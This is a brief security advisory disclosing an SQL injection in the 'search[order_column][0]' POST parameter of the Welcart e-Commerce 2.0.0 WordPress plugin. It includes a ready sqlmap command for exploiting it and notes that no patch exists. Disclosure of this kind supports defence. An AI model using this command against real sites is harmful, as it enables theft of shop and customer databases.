WordPress Plugin Welcart e-Commerce 2.0.0 – ‘search[order_column][0]’ SQL injection

The POST parameter 'search[order_column][0]' does not sanitize user input when searching through the order lists. An attacker can use ZAP/Burp to capture the web request when searching through existing order lists and save it to request.txt. Then, they can use sqlmap -r request.txt --dbms=mysql -p search[order_column][0] to exploit the vulnerability.

Mitigation:

The vendor has not yet provided a patch for this vulnerability.
